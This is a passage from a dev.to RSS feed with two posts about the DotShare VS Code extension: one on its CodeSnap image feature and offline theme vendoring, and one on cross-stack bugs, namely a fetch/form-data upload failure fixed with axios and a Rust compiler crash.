                &lt;span class="na"&gt;fileName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;      &lt;span class="nx"&gt;pending&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fileName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="na"&gt;fileSize&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;      &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="p"&gt;}],&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;consumePendingSnap()&lt;/code&gt; uses a FIFO queue — reads and clears atomically, no double-delivery:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// FIFO queue — thread-safe, handles rapid double-snap edge case&lt;/span&gt;
&lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;_pendingSnaps&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;filePath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;fileName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;

&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="nf"&gt;consumePendingSnap&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;filePath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;fileName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;CodeSnapPanel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;_instance&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;_pendingSnaps&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;shift&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No race condition. No magic number timeouts. The image attaches the instant the Composer is ready — whether that's 200ms or 3 seconds.&lt;/p&gt;




&lt;h2&gt;
  
  
  Offline-First: No CDN
&lt;/h2&gt;

&lt;p&gt;One more architectural decision worth mentioning: the VS Code webview CSP blocks external CDN requests by default — and that's correct behavior. I vendor all HL.js assets locally:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;media/webview/vendor/
  highlight.min.js
  styles/
    atom-one-dark.min.css
    github-dark.min.css
    monokai.min.css
    dracula.min.css
    nord.min.css
    vs2015.min.css
    tokyo-night-dark.min.css
    github.min.css
    catppuccin-mocha.min.css
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;_buildHtml()&lt;/code&gt; method in &lt;code&gt;CodeSnapPanel&lt;/code&gt; resolves all of these to &lt;code&gt;webview.asWebviewUri()&lt;/code&gt; paths and injects them as a JSON map that the WebView uses for theme switching:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;themeCssMap&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Record&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{};&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;themes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;localPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;vscode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Uri&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;joinPath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stylesDir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.min.css`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;accessSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;localPath&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fsPath&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;themeCssMap&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;webview&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;asWebviewUri&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;localPath&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Skip missing files gracefully — theme won't appear in selector&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;html&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;\{\{&lt;/span&gt;&lt;span class="sr"&gt;THEME_CSS_MAP&lt;/span&gt;&lt;span class="se"&gt;\}\}&lt;/span&gt;&lt;span class="sr"&gt;/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;themeCssMap&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&amp;lt;/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s1"&gt;u003c&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&amp;gt;/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s1"&gt;u003e&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Works completely offline. No network requests. No CDN downtime issues.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Result
&lt;/h2&gt;

&lt;p&gt;Here's what the full workflow looks like:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Select a function in your editor&lt;/li&gt;
&lt;li&gt;Right-click → &lt;strong&gt;DotShare: 📸 CodeSnap&lt;/strong&gt; (or use the keyboard shortcut)&lt;/li&gt;
&lt;li&gt;The CodeSnap panel opens beside your editor with a live preview&lt;/li&gt;
&lt;li&gt;Adjust theme, font size, padding, line numbers, watermark — instant re-render&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;🚀 Share&lt;/strong&gt; → QuickPick: which platform?&lt;/li&gt;
&lt;li&gt;The Composer opens with the image already attached&lt;/li&gt;
&lt;li&gt;Write your caption, hit send&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Or — from &lt;em&gt;inside&lt;/em&gt; the Composer — click &lt;strong&gt;📸 Add CodeSnap&lt;/strong&gt; to open the panel mid-composition.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;9 themes&lt;/strong&gt; ship out of the box, completely free: Atom One Dark, GitHub Dark, GitHub Light, Monokai, Dracula, Nord, VS2015, Tokyo Night, Catppuccin Mocha.&lt;/p&gt;




&lt;h2&gt;
  
  
  Install DotShare
&lt;/h2&gt;

&lt;p&gt;The extension is free and open source.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;VS Code Marketplace:&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://marketplace.visualstudio.com/items?itemName=FreeRave.dotshare" rel="noopener noreferrer"&gt;marketplace.visualstudio.com/items?itemName=FreeRave.dotshare&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Open VSX (VSCodium / Windsurf / Cursor):&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://open-vsx.org/extension/freerave/dotshare" rel="noopener noreferrer"&gt;open-vsx.org/extension/freerave/dotshare&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://github.com/kareem2099/DotShare" rel="noopener noreferrer"&gt;github.com/kareem2099/DotShare&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Next
&lt;/h2&gt;

&lt;p&gt;CodeSnap is v1 — there's plenty left to build:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Custom fonts&lt;/strong&gt;: let users point to their own monospace font&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Gradient backgrounds&lt;/strong&gt;: mesh gradients instead of solid BG color&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Multiple files&lt;/strong&gt;: side-by-side code panels in one image&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Animated GIF export&lt;/strong&gt;: show code being written, line by line&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If any of these sound useful — or if you hit a bug — open an issue on GitHub or drop a comment below.&lt;/p&gt;

&lt;p&gt;And if you ship a post using CodeSnap, tag me. I want to see what you're building. 🚀&lt;/p&gt;




&lt;p&gt;&lt;em&gt;— Kareem (FreeRave), founder of DotSuite&lt;/em&gt;&lt;/p&gt;

</description>
      <category>vscode</category>
      <category>opensource</category>
      <category>typescript</category>
      <category>webdev</category>
    </item>
    <item>
      <title>DotShare 3.3: The Final 10% — Crashing the Rust Compiler and Fixing Silent Node.js Bugs (Part 4)</title>
      <dc:creator>freerave</dc:creator>
      <pubDate>Fri, 29 May 2026 20:21:49 +0000</pubDate>
      <link>https://dev.to/freerave/dotshare-33-the-final-10-crashing-the-rust-compiler-and-fixing-silent-nodejs-bugs-part-4-6gc</link>
      <guid>https://dev.to/freerave/dotshare-33-the-final-10-crashing-the-rust-compiler-and-fixing-silent-nodejs-bugs-part-4-6gc</guid>
      <description>&lt;h2&gt;
  
  
  How we bridged the gap between a VS Code extension, a Next.js frontend, and a Rust Axum backend — and the bizarre bugs we fought along the way.
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; Integrating three stacks (Rust backend, Node.js/Electron extension, Next.js dashboard) is where the &lt;em&gt;real&lt;/em&gt; bugs hide — not in your logic, but at the seams between ecosystems. This post covers 4 production-grade bugs: a silent &lt;code&gt;fetch&lt;/code&gt; body corruption, a literal &lt;strong&gt;Rust compiler crash&lt;/strong&gt;, a UI state machine that silently erased user work, and a secure OAuth token relay across three services.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;The Rust backend was bulletproof. The Next.js dashboard was polished. The VS Code extension felt completely native. We were on the home stretch.&lt;/p&gt;

&lt;p&gt;Then came the &lt;strong&gt;final 10%.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you've shipped anything real, you already know what this means. Not because the work is hard in the traditional sense — but because you've crossed out of any single ecosystem's comfort zone. You're no longer debugging &lt;em&gt;your&lt;/em&gt; code. You're debugging the &lt;strong&gt;spaces between&lt;/strong&gt; Rust, Node.js, and Next.js. The gaps nobody writes documentation for.&lt;/p&gt;

&lt;p&gt;These are the bugs that live there.&lt;/p&gt;




&lt;h2&gt;
  
  
  🐛 Bug #1 — The Silent &lt;code&gt;fetch&lt;/code&gt; Body Corruption
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Setup
&lt;/h3&gt;

&lt;p&gt;The VS Code extension needed to upload cover images to our Rust Axum backend. Since VS Code extensions run in a Node.js environment, we reached for the native &lt;code&gt;fetch&lt;/code&gt; API plus the &lt;code&gt;form-data&lt;/code&gt; npm package — a completely standard, well-documented combo.&lt;/p&gt;

&lt;p&gt;The code looked textbook-correct:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;FormData&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;form-data&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;formData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;FormData&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;formData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;file&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;cover.jpg&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://api.dotsuite.dev/v1/media/upload&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Authorization&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`Bearer &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;formData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getHeaders&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;// Sets Content-Type + boundary&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;formData&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="kr"&gt;any&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Symptom
&lt;/h3&gt;

&lt;p&gt;The Rust backend threw this on every single attempt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Multipart error: Error parsing multipart/form-data request
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Investigation
&lt;/h3&gt;

&lt;p&gt;We spent hours auditing the Rust &lt;code&gt;Axum Multipart&lt;/code&gt; extractor. We logged raw bytes. We checked content-type headers. Everything on the Rust side looked sane.&lt;/p&gt;

&lt;p&gt;Then we flipped our perspective: &lt;strong&gt;what if the problem was in the request itself, not the parser?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here's the key insight. There are two completely different things called "FormData":&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;
&lt;strong&gt;Web FormData&lt;/strong&gt; (&lt;code&gt;window.FormData&lt;/code&gt;)&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;&lt;code&gt;form-data&lt;/code&gt; npm package&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Lives in&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Browser / Web APIs&lt;/td&gt;
&lt;td&gt;Node.js ecosystem&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Body type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Serializes itself natively&lt;/td&gt;
&lt;td&gt;Returns a &lt;strong&gt;readable stream&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Works with native &lt;code&gt;fetch&lt;/code&gt;?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;td&gt;❌ No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Node's native &lt;code&gt;fetch&lt;/code&gt; was designed around the &lt;em&gt;Web&lt;/em&gt; &lt;code&gt;FormData&lt;/code&gt; interface. When you pass it a &lt;code&gt;form-data&lt;/code&gt; &lt;em&gt;stream&lt;/em&gt;, it doesn't know how to pipe the boundary markers into the body correctly. The headers said &lt;code&gt;Content-Type: multipart/form-data; boundary=---12345&lt;/code&gt; — but the body was malformed. The Rust parser saw garbage.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Fix
&lt;/h3&gt;

&lt;p&gt;We replaced native &lt;code&gt;fetch&lt;/code&gt; with &lt;code&gt;axios&lt;/code&gt; for this specific upload path. Axios understands how to serialize Node.js stream-based &lt;code&gt;FormData&lt;/code&gt; objects properly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;axios&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;axios&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;axios&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://api.dotsuite.dev/v1/media/upload&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;formData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Authorization&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`Bearer &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;formData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getHeaders&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
        &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="na"&gt;maxBodyLength&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;Infinity&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// No cap on upload size&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Immediately, the Rust backend parsed the stream perfectly, validated the magic bytes, and forwarded the file to Cloudflare R2.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Lesson:&lt;/strong&gt; Native &lt;code&gt;fetch&lt;/code&gt; in Node.js is NOT a drop-in replacement for &lt;code&gt;node-fetch&lt;/code&gt; or &lt;code&gt;axios&lt;/code&gt; when dealing with npm's &lt;code&gt;form-data&lt;/code&gt; streams. The Web API and the Node.js ecosystem have diverged here in a subtle, silent, and infuriating way.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  💥 Bug #2 — We Crashed the Rust Compiler
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Setup
&lt;/h3&gt;

&lt;p&gt;While refining the post scheduler, we hit an error that sends ice down the spine of any Rust developer. Not a runtime panic. Not a logic error.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;compiler itself&lt;/strong&gt; crashed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="n"&gt;thread&lt;/span&gt; &lt;span class="nv"&gt;'rustc&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt; &lt;span class="n"&gt;panicked&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="n"&gt;library&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;alloc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;vec&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;mod&lt;/span&gt;&lt;span class="py"&gt;.rs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;2873&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;slice&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="n"&gt;starts&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="n"&gt;but&lt;/span&gt; &lt;span class="n"&gt;ends&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;
&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;compiler&lt;/span&gt; &lt;span class="n"&gt;unexpectedly&lt;/span&gt; &lt;span class="n"&gt;panicked&lt;/span&gt;&lt;span class="py"&gt;. this&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;bug&lt;/span&gt;&lt;span class="py"&gt;.

query&lt;/span&gt; &lt;span class="n"&gt;stack&lt;/span&gt; &lt;span class="n"&gt;during&lt;/span&gt; &lt;span class="n"&gt;panic&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;check_mod_deathness&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;checking&lt;/span&gt; &lt;span class="n"&gt;deathness&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;variables&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt; &lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;platforms&lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is called an &lt;strong&gt;ICE&lt;/strong&gt; — &lt;strong&gt;Internal Compiler Error&lt;/strong&gt;. It means &lt;code&gt;rustc&lt;/code&gt; hit a state it was never supposed to reach. These are filed as bugs against the Rust project itself.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Cause
&lt;/h3&gt;

